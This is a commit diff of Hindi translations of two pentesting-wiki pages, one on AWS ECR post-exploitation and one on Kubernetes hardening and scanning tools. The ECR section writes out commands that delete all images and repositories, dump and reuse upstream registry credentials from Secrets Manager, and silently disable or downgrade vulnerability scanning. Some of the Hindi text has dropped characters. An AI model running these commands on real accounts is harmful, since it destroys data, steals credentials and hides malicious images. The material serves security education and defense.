Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-12-17 10:15:58 +00:00
parent 71fb61f52f
commit a7a0322c94
2 changed files with 189 additions and 85 deletions

View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
इमेजेस डाउनलोड करने के बाद आपको न्हें **संवेदनशील जानकारी के लिए जाचना चाहिए**:
images डाउनलोड करने के बाद आपको न्हें **संवेदनशील जानकारी के लिए जाचना चाहिए**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
इनमें से किसी भी permissions वाले attacker एक lifecycle policy बना या संशोधित कर सकता है ताकि repository में मौजूद सभी इमेजेस हट जाएँ और फिर पूर ECR repository डिलीट कर सकता है। इसका परिणाम होगा कि repository में स्टोर किए गए सभी container images नष्ट/खो जाएंगे
इन किसी भी permissions वाले attacker के पास **lifecycle policy बनाकर या संशोधित करके repository की सभी images को हटाने** और फिर **पूर ECR repository को delete करने** की क्षमता होती है। इसका परिणाम repository में संग्रहित सभी container images के नुकसान के रूप में होगा
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Exfiltrate upstream registry credentials from ECR PullThrough Cache (PTC)
### ECR PullThrough Cache (PTC) से अपस्ट्रीम रजिस्ट्री क्रेडेंशियल्स एक्सफिल्ट्रेट करें
यदि ECR PullThrough Cache authenticated upstream registries (Docker Hub, GHCR, ACR, आदि) के लिए कॉन्फ़िगर किया गया है, तो upstream credentials AWS Secrets Manager में एक अनुमाननीय नाम प्रिफिक्स के साथ संग्रहीत होते हैं: `ecr-pullthroughcache/`. ऑपरेटर्स कभी-कभार ECR admins को Secrets Manager पढ़ने का व्यापक एक्सेस दे देते हैं, जिससे credential exfiltration और AWS के बाहर पुन: उपयोग संभव हो जाता है।
यदि ECR PullThrough Cache को authenticated upstream registries (Docker Hub, GHCR, ACR, आदि) के लिए कॉन्फ़िगर किया गया है, तो अपस्ट्रीम क्रेडेंशियल्स AWS Secrets Manager में एक अनुमानित नाम प्रफिक्स के साथ संग्रहीत होते हैं: `ecr-pullthroughcache/` ऑपरेटर्स कभी-कभ ECR admins को Secrets Manager के व्यापक पढ़ने के अधिकार दे देते हैं, जिससे क्रेडेंशियल्स की एक्सफिल्ट्रेशन और AWS के बाहर पुन: उपयोग संभव हो जाता है।
Requirements
आवश्यकताएँ
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
Enumerate candidate PTC secrets
उम्मीदवार PTC secrets को सूचीबद्ध करें
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
खोजे गए secrets को dump करें और सामान्य फ़ील्ड्स को पार्स करें
खोजे गए secrets को डंप करें और सामान्य फ़ील्ड पार्स करें
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -119,12 +119,12 @@ done
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
प्रभाव
- इन Secrets Manager entries को पढ़ने से reusable upstream registry credentials (username/password या token) प्राप्त होते हैं, जिन्हें AWS के बाहर private images को pull करने या upstream permissions के आधार पर अतिरिक्त repositories तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
- इन Secrets Manager एंट्रीज़ को पढ़ने से पुन: उपयोग योग्य upstream registry credentials (username/password or token) मिलते हैं, जिन्हें AWS के बाहर निजी images को pull करने या upstream permissions के आधार पर अतिरिक्त repositories तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
registry-level ECR permissions वाले attacker चुपचाप automatic vulnerability scanning को सभी repositories के लिए घटा या disable कर सकते हैं, यदि वे registry scanning configuration को BASIC पर सेट कर दें बिना किसी scan-on-push नियम क। इससे नई image pushes स्वतः स्कैन नहीं होंगी, जिससे vulnerable या malicious images छिप सकती हैं।
रजिस्ट्री-स्तरीय ECR अनुमतियों वाला एक हमलावर registry scanning configuration को BASIC पर सेट करके और किसी भी scan-on-push नियम को न रखते हुए चुपचाप सभी repositories के लिए स्वचालित vulnerability स्कैनिंग को घटा या disable कर सकता है। इससे नई image pushes स्वतः स्कैन नहीं होंगी, जिससे vulnerable या malicious images छिप सकती हैं।
आवश्यकताएँ
- ecr:PutRegistryScanningConfiguration
@@ -132,7 +132,7 @@ registry-level ECR permissions वाले attacker चुपचाप automati
- ecr:PutImageScanningConfiguration (optional, perrepo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
जिस्ट्री-व्यापी डाउनग्रेड: मैन्युअल (कोई ऑटो स्कैन नहीं)
रजिस्ट्री-व्यापी डाउनग्रेड टू मैन्युअल (कोई ऑटो स्कैन नहीं)
```bash
REGION=us-east-1
# Read current config (save to restore later)
@@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
वैकल्पिक: रिपॉज़िटरी स्कोप पर और अधिक डिग्रेड करें
वैकल्पिक: रिपोजिटरी स्कोप पर और अधिक घटाएँ
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
@@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \
--image-scanning-configuration scanOnPush=false
```
प्रभाव
- रजिस्ट्री में नए image pushes स्वचालित रूप से scan नहीं होते हैं, जिससे vulnerable या malicious content की visibility घटती है और detection तब तक delay होता है जब तक कोई manual scan initiate न किया जाए।
- रजिस्ट्री में हुई नई image pushes स्वतः स्कैन नहीं होतं, जिससे vulnerable या malicious कंटेंट की दृश्यता कम हो जाती है और पहचान तब तक देर हो जाती है जब तक कि मैन्युअल स्कैन आरम्भ न किया जाए।
### रजिस्ट्री-व्यापी scanning engine को `ecr:PutAccountSetting` के माध्यम से downgrade करना (AWS_NATIVE -> CLAIR)
### रजिस्ट्रीव्यापक स्कैनिंग इंजन को डाउनग्रेड करना via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
डिफ़ॉल्ट BASIC scan engine को AWS_NATIVE से legacy CLAIR engine में बदलकर पूरे रजिस्ट्री में vulnerability detection की गुणवत्ता कम करें। यह scanning को disable नहीं करता, लेकिन findings/coverage को महत्वपूर्ण रूप से बदल सकत है। scans को केवल manual-only बनाने के लिए no-rules वाले BASIC registry scanning configuration के साथ मिलाएँ
डिफ़ॉल्ट BASIC स्कैन इंजन को AWS_NATIVE से legacy CLAIR इंजन में बदलकर पूरे रजिस्ट्री में vulnerability detection की गुणवत्ता घटाई जा सकती है। इससे स्कैनिंग disable नहीं होती, लेकिन findings/coverage में महत्वपूर्ण बदलाव आ सकत हैस्कैन को केवल मैन्युअल बनाने के लिए नियमों के बिना BASIC रजिस्ट्री स्कैनिंग कॉन्फ़िगरेशन के साथ इसे संयोजित करें
आवश्यकताएँ
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (वैकल्पिक) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
प्रभाव
- Registry setting `BASIC_SCAN_TYPE_VERSION` को `CLAIR` पर सेट कर दिया जाता है ताकि बाद क BASIC scans downgraded engine के साथ चलें। CloudTrail `PutAccountSetting` API कॉल को रिकॉर्ड करता है।
- रजिस्ट्री सेटिंग `BASIC_SCAN_TYPE_VERSION` को `CLAIR` पर सेट किया जाता है, इसलिए बाद क BASIC स्कैन डाउनग्रेड किए गए इंजन के साथ चलेंगे। CloudTrail में `PutAccountSetting` API कॉल रिकॉर्ड होता है।
कदम
```bash
@@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### ECR इमेज़ में कमजोरियों के लिए स्कैन करें
```bash
#!/bin/bash
# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images
region=<region>
profile=<aws_profile>
registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')
# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com
while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,12 +1,12 @@
# Kubernetes Hardening
# Kubernetes हार्डनिंग
{{#include ../../../banners/hacktricks-training.md}}
## क्लस्टर का विश्लेषण करने के उपकरण
## क्लस्टर का विश्लेषण करने के लिए उपकरण
### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance)
यह **Kubernetes क्लस्टर पर कई अनुपालन जाँचें** करता है। यह CIS, National Security Agency (NSA) और Cybersecurity and Infrastructure Security Agency (CISA) क Kubernetes हार्डनिंग के लिए प्रकाशित साइबर सुरक्षा तकनीकी रिपोर्टों का समर्थन करता है।
यह Kubernetes क्लस्टर पर कई अनुपालन जाँचें प्रदान करता है। इसमें CIS, National Security Agency (NSA) और Cybersecurity and Infrastructure Security Agency (CISA) क Kubernetes hardening के लिए Cybersecurity technical report का समर्थन शामिल है।
```bash
# Install Steampipe
brew install turbot/tap/powerpipe
@@ -27,94 +27,94 @@ powerpipe server
```
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) एक K8s open-source टूल है जो multi-cloud K8s के लिए एक single pane of glass प्रदान करता है, जिसमें risk analysis, security compliance, RBAC visualizer और image vulnerabilities scanning शामिल हैं। Kubescape K8s clusters, YAML files, और HELM charts को स्कैन करता है, multiple frameworks (जैसे कि the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)) के अनुसार misconfigurations, software vulnerabilities और RBAC (role-based-access-control) उल्लंघनों का पता लगाता है, CI/CD pipeline के प्रारम्भिक चरणों में ही जोखिम स्कोर तुरंत कैलकुलेट करता है और समय के साथ जोखिम के रुझान दिखाता है।
[**Kubescape**](https://github.com/armosec/kubescape) एक K8s ओपन-सोर्स टूल है जो मल्टी-क्लाउड K8s के लिए एक single pane of glass प्रदान करता है, जिसमें risk analysis, security compliance, RBAC visualizer और image vulnerabilities scanning शामिल हैं। Kubescape K8s clusters, YAML files, और HELM charts को स्कैन करता है, कई frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)) के अनुसार misconfigurations, software vulnerabilities और RBAC (role-based-access-control) उल्लंघनों का पता लगाता है, CI/CD pipeline के शुरुआती चरणों में जोखिम स्कोर तुरंत गणना करता है और समय के साथ risk trends दिखाता है।
```bash
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
kubescape scan --verbose
```
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) एक utility है जो live Kubernetes cluster को स्कैन करत है और **डिप्लॉय किए गए resources और configurations से संबंधित संभावित समस्याओं की रिपोर्ट करत है**। यह आपके क्लस्टर को उस आधार पर sanitize करत है जो डिप्लॉय किया गया है, न कि जो डिस्क पर पड़ा है। आपके क्लस्टर को स्कैन करके यह misconfigurations का पता लगात है और सुनिश्चित करने में मदद करत है कि best practices लागू हं, जिससे भविष्य में होने वाली परेशानियों से बचा जा सके। यह wild में Kubernetes cluster ऑपरेट करते समय होने वाले संज्ञानात्मक \_over_load को कम करने का उद्देश्य रखता है। इसके अतिरिक्त, यदि आपका क्लस्टर metric-server उपयोग करता है, तो यह संभावित resources के over/under allocations की रिपोर्ट करत है और यदि आपका क्लस्टर capacity से बाहर होने वाल हो तो चेतावनी देने का प्रयास करत है।
[**Popeye**](https://github.com/derailed/popeye) एक उपयोगिता है जो लाइव Kubernetes cluster को स्कैन करत है और **डिप्लॉय किए गए resources और configurations में संभावित समस्याओं की रिपोर्ट करत है**। यह आपके cluster को उस आधार पर सैनिटाइज़ करत है जो डिप्लॉय किया गया है और न कि जो डिस्क पर पड़ा है। अपने cluster को स्कैन करके यह गलत कॉन्फ़िगरेशन का पता लगात है और यह सुनिश्चित करने में मदद करत है कि best practices लागू हं, जिससे भविष्य ी परेशानियाँ रोकी जा सके। यह वाइल्ड में Kubernetes cluster ऑपरेट करते समय होने वाले cognitive \_over_load को कम करने का लक्ष्य रखता है। इसके अतिरिक्त, यदि आपका cluster metric-server उपयोग करता है, तो यह संभावित resources के over/under allocations की रिपोर्ट करत है और यदि आपकी cluster की capacity खत्म होने वाल हो तो चेतावनी देने का प्रयास करत है।
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
आप चुन सकते हैं:
- container के अंदर kube-bench चलाएँ (PID namespace को host के साथ साझा करते हुए)
- ऐसा container चलाएँ जो host पर kube-bench इंस्टॉल कर, और फिर host पर सीधे kube-bench चलाएँ
- [Releases page](https://github.com/aquasecurity/kube-bench/releases) से latest binaries इंस्टॉल करें,
- container के अंदर से kube-bench चलाएँ (host के साथ PID namespace साझा करते हुए)
- एक container चलाएँ जो host पर kube-bench इंस्टॉल करता है, और फिर host पर सीधे kube-bench चलाएँ
- [Releases page](https://github.com/aquasecurity/kube-bench/releases) से नवीनतम binaries इंस्टॉल करें,
- इसे source से compile करें।
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) एक command line tool और एक Go package है जो विभिन्न security concerns के लिए **Kubernetes clusters का ऑडिट** करता है।
**[DEPRECATED]** टूल [**kubeaudit**](https://github.com/Shopify/kubeaudit) एक command line tool और एक Go package है जो विभिन्न सुरक्षा चिंताओं के लिए **Kubernetes clusters का audit** करता है।
Kubeaudit पता लगा सकता है कि वह cluster के अंदर किसी container के भीतर चल रहा है या नहीं। यदि ऐसा है, तो यह उस cluster के सभी Kubernetes resources का ऑडिट करने का प्रयास करेगा:
Kubeaudit पहचान सकता है कि वह किसी container में cluster के भीतर चल रहा है या नहीं। अगर हाँ, तो यह उस cluster के सभी Kubernetes resources का audit करने की कोशिश करेगा:
```
kubeaudit all
```
इस टूल में `autofix` आर्गुमेंट भी है जो **पाए गए मुद्दों को स्वचालित रूप से ठीक करता है**
यह टूल `autofix` आर्गुमेंट भी प्रदान करता है ताकि **स्वचालित रूप से पाए गए मुद्दों को ठीक किए जा सकें**
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
**[DEPRECATED]** यह टूल [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) Kubernetes clusters में सुरक्षा कमजोरियों का पता लगाता है। यह टूल Kubernetes environments में सुरक्षा मुद्दों के प्रति जागरूकता और दृश्यता बढ़ाने के लिए विकसित किया गया था।
**[अप्रचलित]** टूल [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) Kubernetes clusters में सुरक्षा कमजोरियों का पता लगाता है। यह टूल Kubernetes environments में सुरक्षा मुद्दों के प्रति जागरूकता और दृश्यता बढ़ाने के लिए विकसित किया गया था।
```bash
kube-hunter --remote some.node.com
```
### [Trivy](https://github.com/aquasecurity/trivy)
[Trivy](https://github.com/aquasecurity/trivy) में ऐसे scanners हैं जो security issues की तलाश करते हैं, और वे targets जहाँ ये issues मिल सकत हैं:
[Trivy](https://github.com/aquasecurity/trivy) में ऐसे scanners हैं जो सुरक्षा समस्याओं की तलाश करते हैं, और उन लक्ष्यों को जहाँ ये समस्याएँ मिल सकत हैं:
- Container Image
- Filesystem
- Git Repository (remote)
- Virtual Machine Image
- कंटेनर इमेज (Container Image)
- फ़ाइल सिस्टम (Filesystem)
- Git रिपॉज़िटरी (remote)
- वर्चुअल मशीन इमेज (Virtual Machine Image)
- Kubernetes
### [**Kubei**](https://github.com/Erezf-p/kubei)
**[ऐसा लगता है कि मेंटेन नहीं किया जा रहा है]**
**[ऐसा लगता है कि अब मेंटेन नहीं किया जा रहा है]**
[**Kubei**](https://github.com/Erezf-p/kubei) एक vulnerabilities scanning और CIS Docker benchmark tool है जो users को उनके Kubernetes clusters का सटीक और तत्काल risk assessment प्राप्त करने की अनुमति देता है। Kubei Kubernetes cluster में उपयोग हो रह सभी images को scan करता है, जिनमें application pods और system pods की images भी शामिल हैं।
[**Kubei**](https://github.com/Erezf-p/kubei) एक vulnerabilities scanning और CIS Docker benchmark tool है जो उपयोगकर्ताओं को उनके Kubernetes clusters का सटीक और तत्कालिक risk assessment प्राप्त करने की अनुमति देता है। Kubei Kubernetes क्लस्टर में उपयोग हो रह सभी इमेजेस को स्कैन करता है, जिनमें application pods और system pods की इमेजेज़ भी शामिल हैं।
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) एक tool है जो Kubernetes cluster को Kubernetes के Role-based access control (RBAC) authorization model में जोखिमपूर्ण permissions के लिए scan करता है।
[**KubiScan**](https://github.com/cyberark/KubiScan) एक टूल है जो Kubernetes क्लस्टर में Kubernetes के Role-based access control (RBAC) authorization मॉडल में risky permissions की स्कैनिंग करता है।
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) एक tool है जो अन्य tools की तुलना में उच्च जोखिम वाले चेक्स को टेस्ट करने के लिए बनाया गया है। इसके मुख्य रूप से 3 अलग-अलग modes हैं:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) एक ऐसा टूल है जो अन्य tools की तुलना में अन्य प्रकार के उच्च-जोखिम चेक्स को टेस्ट करने के लिए बनाया गया है। इसमें मुख्यतः 3 अलग-अलग मोड हैं:
- **`find-role-relationships`**: जो यह पता लगाता है कि कौन से AWS roles कौन से pods में चल रहे हैं
- **`find-secrets`**: जो Pods, ConfigMaps, और Secrets जैसे K8s resources में secrets की पहचान करने की कोशिश करता है
- **`test-imds-access`**: जो pods चलार metadata v1 और v2 तक पहुँचने की कोशिश करेगा। WARNING: यह क्लस्टर में एक pod चलाएगा, बहुत सावधान रहें क्योंकि हो सकता है आप यह करना न चाहें!
- **`find-role-relationships`**: यह पता लगाएगा कि कौन से AWS roles किस pods में चल रहे हैं
- **`find-secrets`**: यह Pods, ConfigMaps, और Secrets जैसे K8s resources में secrets की पहचान करने की कोशिश करता है
- **`test-imds-access`**: यह pods चलाने की कोशिश करेगा और metadata v1 और v2 तक पहुँचने की कोशिश करेगा। WARNING: यह क्लस्टर में एक pod चलाएगा, बहुत सावधान रहें क्योंकि शायद आप यह करना नहीं चाहेंगे!
## **Audit IaC Code**
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) निम्नलिखित Infrastructure as Code solutions में security vulnerabilities, compliance issues, और infrastructure misconfigurations ढूँढता है: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, और OpenAPI 3.0 specifications
[**KICS**](https://github.com/Checkmarx/kics) निम्नलिखित Infrastructure as Code solutions में सुरक्षा कमजोरियाँ (security vulnerabilities), अनुपालन समस्याएँ (compliance issues), और इन्फ्रास्ट्रक्चर misconfigurations ढूँढता है: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, और OpenAPI 3.0 specifications
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) infrastructure-as-code के लिए एक static code analysis tool है।
[**Checkov**](https://github.com/bridgecrewio/checkov) एक static code analysis tool है infrastructure-as-code के लिए
यह cloud infrastructure को scan करता है जो [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) या [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) का उपयोग करके provision की गई, और graph-based scanning का उपयोग करके security और compliance misconfigurations का पता लगाता है।
यह उस cloud infrastructure को स्कैन करता है जो [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) या [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) का उपयोग करके provision किया गया, और graph-based scanning के माध्यम से security और compliance misconfigurations का पता लगाता है।
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) एक tool है जो आपके Kubernetes object definitions का static code analysis करता है।
[**kube-score**](https://github.com/zegl/kube-score) एक टूल है जो आपके Kubernetes object definitions का static code analysis करता है।
Install करने के लिए:
To install:
| Distribution | Command / Link |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
| डिस्ट्रिब्यूशन | कमांड / लिंक |
| --------------------------------------------------- | ----------------------------------------------------------------------------------------- |
| macOS, Linux, और Windows के लिए pre-built binaries | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
## Tools to analyze YAML files & Helm Charts
@@ -162,41 +162,113 @@ helm template chart /path/to/chart \
--set 'config.urls[0]=https://dummy.backend.internal' \
| kubesec scan -
```
## सुझाव
## Scan निर्भरता समस्याएँ
### Kubernetes PodSecurityContext और SecurityContext
### Scan इमेजेस
```bash
#!/bin/bash
export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq)
echo "All images found: $images"
echo ""
echo ""
for image in $images; do
# Run trivy scan and save JSON output
trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1
# Extract binary targets that have vulnerabilities
binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json)
if [ -n "$binaries" ]; then
echo "- **Image:** $image"
while IFS= read -r binary; do
echo " - **Binary:** $binary"
jq -r --arg target "$binary" '
.Results[] | select(.Target == $target) | .Vulnerabilities[] |
" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)."
' /tmp/result.json
done <<< "$binaries"
echo ""
echo ""
echo ""
fi
done
```
### Helm चार्ट्स स्कैन करें
```bash
#!/bin/bash
# scan-helm-charts.sh
# This script lists all Helm releases, renders their manifests,
# and then scans each manifest with Trivy for configuration issues.
आप Pods के **सुरक्षा संदर्भ** (_PodSecurityContext_) और चलने वाले **containers** के **SecurityContext** (_SecurityContext_) को कॉन्फ़िगर कर सकते हैं। अधिक जानकारी के लिए पढ़ें:
# Check that jq is installed
if ! command -v jq &>/dev/null; then
echo "jq is required but not installed. Please install jq and rerun."
exit 1
fi
# List all helm releases and extract namespace and release name
echo "Listing Helm releases..."
helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt
# Check if any releases were found
if [ ! -s helm_releases.txt ]; then
echo "No Helm releases found."
exit 0
fi
# Loop through each Helm release and scan its rendered manifest
while IFS=" " read -r namespace release; do
echo "---------------------------------------------"
echo "Scanning Helm release '$release' in namespace '$namespace'..."
# Render the Helm chart manifest
manifest_file="${release}-manifest.yaml"
helm get manifest "$release" -n "$namespace" > "$manifest_file"
if [ $? -ne 0 ]; then
echo "Failed to get manifest for $release in $namespace. Skipping."
continue
fi
# Scan the manifest with Trivy (configuration scan)
echo "Running Trivy config scan on $manifest_file..."
trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file"
echo "Completed scan for $release."
done < helm_releases.txt
echo "---------------------------------------------"
echo "Helm chart scanning complete."
```
## टिप्स
### Kubernetes PodSecurityContext and SecurityContext
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Kubernetes API हार्डनिंग
### Kubernetes API Hardening
यह बहुत महत्वपूर्ण है कि आप **Kubernetes Api Server तक पहुँच की सुरक्षा करें**, क्योंकि पर्याप्त अधिकार वाले एक दुष्ट अभिकर्ता इसका दुरुपयोग करके environment को कई तरीकों से नुकसान पहुँच सकता है\
API Server तक both **access** (**whitelist** origins to access the API Server and deny any other connection) और [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (principle of **least** **privilege** का पालन करते हुए) — दोनों को सुरक्षित करना महत्वपूर्ण है। और निश्चित रूप से **कभी भी** **anonymous** **requests** की अनुमति न दें।
यह बहुत महत्वपूर्ण है कि Kubernetes Api Server तक पहुँच की सुरक्षा की जाए क्योंकि पर्याप्त privileges वाला कोई malicious actor इसका दुरुपयोग कर सकता है और वातावरण को कई तरीकों से नुकसान पहुँच सकता है.\
यह आवश्यक है कि दोनों को सुरक्षित किया जाए: **access** (**whitelist** origins to access the API Server and deny any other connection) और the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (सिद्धांत **least** **privilege** का पालन करते हुए). और निश्चित रूप से **never** **allow** **anonymous** **requests**.
**सामान्य अनुरोध प्रक्रिया:**\
उपयोगकर्ता या K8s ServiceAccount > प्रमाणीकरण > प्राधिकरण > Admission Control
**Common Request process:**\
User or K8s ServiceAccount > Authentication > Authorization > Admission Control
**सुझाव**:
**टिप्**:
- पोर्ट बंद करें।
- अनाम पहुँच से बचें।
- NodeRestriction; विशेष nodes से API तक पहुँच न होने दें।
- Anonymous access से बचें।
- NodeRestriction; specific nodes को API तक पहुँच न दें।
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- बुनियादी रूप से kubelets को node-restriction.kubernetes.io/ prefix वाले labels जोड़ने/हटाने/अपडेट करने से रोकता है। यह label prefix administrators के लिए रक्षित है ताकि वे workload isolation के उद्देश्यों के लिए अपने Node objects को label कर सकें, और kubelets को उस prefix वाले labels को संशोधित करने की अनुमति नहीं दी जाएगी।
- और साथ ही, kubelets को इन labels और label prefixes को जोड़ने/हटाने/अपडेट करने की अनुमति देता है।
- labels के साथ सुरक्षित workload isolation सुनिश्चित करें।
- विशेष pods को API access से रोकें।
- ApiServer क इंटरनेट पर एक्सपोज़र रोकें
- अनधिकृत पहुँच से बचें; RBAC लागू करें।
- ApiServer पोर्ट के लिए firewall और IP whitelisting लागू करें।
- आम तौर पर यह kubelets को node-restriction.kubernetes.io/ prefix वाले labels जोड़ने/हटाने/अपडेट करने से रोकता है। यह label prefix administrators के लिए सुरक्षित है ताकि वे अपने Node objects को workload isolation के उद्देश्यों के लिए label कर सकें, और kubelets को उस prefix वाले labels को संशोधित करने की अनुमति नहीं होगी।
- और साथ ही, यह kubelets को इन labels और label prefixes को जोड़ने/हटाने/अपडेट करने की अनुमति भी देता है।
- labels के माध्यम से सुरक्षित workload isolation सुनिश्चित करें।
- कुछ specific pods को API access से रोकें।
- ApiServer क इंटरनेट पर एक्सपोज़ होने से बचाएँ
- अनधिकृत पहुँच से बचें RBAC लागू करें।
- ApiServer पोर्ट पर firewall और IP whitelisting लागू करें।
### SecurityContext हार्डनिंग
### SecurityContext Hardening
